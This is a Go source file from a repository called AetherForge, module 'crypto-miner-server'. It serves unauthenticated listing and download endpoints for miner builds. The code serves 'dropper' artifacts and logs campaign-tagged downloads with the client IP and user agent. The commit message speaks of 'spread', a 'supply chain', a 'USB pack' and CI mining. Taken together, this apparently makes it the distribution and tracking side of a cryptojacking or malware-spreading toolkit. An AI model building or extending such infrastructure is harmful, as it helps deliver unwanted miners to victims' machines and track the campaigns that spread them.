Files
AetherForge/server/internal/api/public_handler.go
AetherForge a32860b0d9
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
feat: alive UI wave, galaxy presence, spread and fleet enhancements
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
2026-06-04 22:36:17 -07:00

149 lines
4.1 KiB
Go

package api
import (
"net/http"
"os"
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
// PublicBuildsConfig supplies public-download policy from server config.
type PublicBuildsConfig struct {
Enabled bool
LatestN int
}
// PublicHandler serves unauthenticated build listing and download endpoints.
type PublicHandler struct {
db *dbpkg.Database
dataDir string
configFn func() PublicBuildsConfig
}
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn}
}
type publicBuildDTO struct {
ID string `json:"id"`
WorkerName string `json:"worker_name"`
Platform string `json:"platform"`
FileName string `json:"file_name"`
FileSize int64 `json:"file_size"`
BundleSize int64 `json:"bundle_size"`
DownloadURL string `json:"download_url"`
CreatedAt string `json:"created_at"`
Pinned bool `json:"pinned"`
Public bool `json:"public"`
}
func toPublicBuildDTO(b *models.BuildRecord) publicBuildDTO {
dl := b.DownloadURL
if dl == "" {
dl = "/api/v1/public/download/" + b.ID
} else if !strings.HasPrefix(dl, "/api/v1/public/") {
// Rewrite authenticated artifact path to public when listed
if strings.Contains(dl, "/artifact/") {
parts := strings.Split(dl, "/artifact/")
if len(parts) == 2 {
dl = "/api/v1/public/download/" + b.ID + "/artifact/" + parts[1]
}
} else {
dl = "/api/v1/public/download/" + b.ID
}
}
return publicBuildDTO{
ID: b.ID,
WorkerName: b.WorkerName,
Platform: b.Platform,
FileName: b.FileName,
FileSize: b.FileSize,
BundleSize: b.BundleSize,
DownloadURL: dl,
CreatedAt: b.CreatedAt.Format("2006-01-02T15:04:05Z07:00"),
Pinned: b.Pinned,
Public: b.Public,
}
}
// GET /api/v1/public/builds
func (h *PublicHandler) ListBuilds(w http.ResponseWriter, r *http.Request) {
cfg := h.configFn()
builds, err := h.db.ListPublicBuilds(cfg.Enabled, cfg.LatestN)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
dtos := make([]publicBuildDTO, 0, len(builds))
for _, b := range builds {
dtos = append(dtos, toPublicBuildDTO(b))
}
writeJSON(w, map[string]interface{}{
"builds": dtos,
"public_builds_enabled": cfg.Enabled,
"latest_n": cfg.LatestN,
})
}
// GET /api/v1/public/download/{id}
// GET /api/v1/public/download/{id}/artifact/{name}
func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "build id required", http.StatusBadRequest)
return
}
cfg := h.configFn()
ok, err := h.db.IsBuildPubliclyDownloadable(id, cfg.Enabled, cfg.LatestN)
if err != nil || !ok {
http.Error(w, "build not available for public download", http.StatusNotFound)
return
}
if c := r.URL.Query().Get("c"); c != "" {
_ = h.db.LogCampaignEvent(c, id, dbpkg.CampaignEventDownload, "public_download", clientIP(r), r.UserAgent())
}
build, err := h.db.GetBuild(id)
if err != nil {
http.Error(w, "build not found", http.StatusNotFound)
return
}
artifactName := chi.URLParam(r, "name")
if artifactName != "" {
path := filepath.Join(h.dataDir, "builds", id, filepath.Base(artifactName))
if _, err := os.Stat(path); err != nil {
http.Error(w, "artifact not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Disposition", `attachment; filename="`+filepath.Base(artifactName)+`"`)
http.ServeFile(w, r, path)
return
}
path, name := resolveDropperArtifact(h.dataDir, build)
if path == "" {
http.Error(w, "artifact missing on disk", http.StatusNotFound)
return
}
w.Header().Set("Content-Disposition", `attachment; filename="`+name+`"`)
http.ServeFile(w, r, path)
}
func clientIP(r *http.Request) string {
ip := r.Header.Get("X-Forwarded-For")
if ip == "" {
ip = r.RemoteAddr
}
if idx := strings.LastIndex(ip, ":"); idx > 0 && strings.Count(ip, ":") == 1 {
ip = ip[:idx]
}
return ip
}